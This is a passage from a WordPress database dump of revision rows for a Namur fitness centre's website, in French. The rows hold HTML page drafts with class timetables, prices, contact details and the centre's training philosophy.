'', 0),
(318, 1, '2013-07-04 19:38:20', '2013-07-04 19:38:20', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Une séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:38:20', '2013-07-04 19:38:20', '', 11, 'http://www.crosstrainingcenter.be/11-revision-105/', 0, 'revision', '', 0),
(286, 1, '2013-07-03 20:45:05', '2013-07-03 20:45:05', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:45:05', '2013-07-03 20:45:05', '', 9, 'http://www.crosstrainingcenter.be/9-revision-16/', 0, 'revision', '', 0),
(287, 1, '2013-07-04 18:19:03', '2013-07-04 18:19:03', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-04 18:19:03', '2013-07-04 18:19:03', '', 9, 'http://www.crosstrainingcenter.be/9-revision-17/', 0, 'revision', '', 0),
(288, 1, '2013-07-04 18:50:46', '2013-07-04 18:50:46', '', 'illu1', '', 'inherit', 'open', 'open', '', 'illu1', '', '', '2013-07-04 18:50:46', '2013-07-04 18:50:46', '', 5, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png', 0, 'attachment', 'image/png', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(289, 1, '2013-07-03 20:45:08', '2013-07-03 20:45:08', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 5, 'http://www.crosstrainingcenter.be/5-revision-35/', 0, 'revision', '', 0),
(290, 1, '2013-07-04 18:51:42', '2013-07-04 18:51:42', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png\&quot;&gt;&lt;img class=\&quot;size-full wp-image-288 alignleft\&quot; alt=\&quot;illu1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/illu1.png\&quot; width=\&quot;271\&quot; height=\&quot;197\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:51:42', '2013-07-04 18:51:42', '', 5, 'http://www.crosstrainingcenter.be/5-revision-36/', 0, 'revision', '', 0),
(292, 1, '2013-07-04 18:52:28', '2013-07-04 18:52:28', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 18:52:28', '2013-07-04 18:52:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-38/', 0, 'revision', '', 0),
(294, 1, '2013-07-04 19:00:43', '2013-07-04 19:00:43', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;blockquote&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:00:43', '2013-07-04 19:00:43', '', 5, 'http://www.crosstrainingcenter.be/5-revision-40/', 0, 'revision', '', 0),
(295, 1, '2013-07-04 19:01:11', '2013-07-04 19:01:11', '&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;blockquote&gt;\r\n&lt;h4&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.&lt;/h4&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:01:11', '2013-07-04 19:01:11', '', 5, 'http://www.crosstrainingcenter.be/5-revision-41/', 0, 'revision', '', 0),
